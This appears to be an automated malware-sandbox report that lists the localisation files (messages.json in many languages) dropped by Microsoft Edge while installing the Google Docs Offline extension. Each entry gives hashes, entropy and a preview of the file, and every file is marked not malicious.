SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
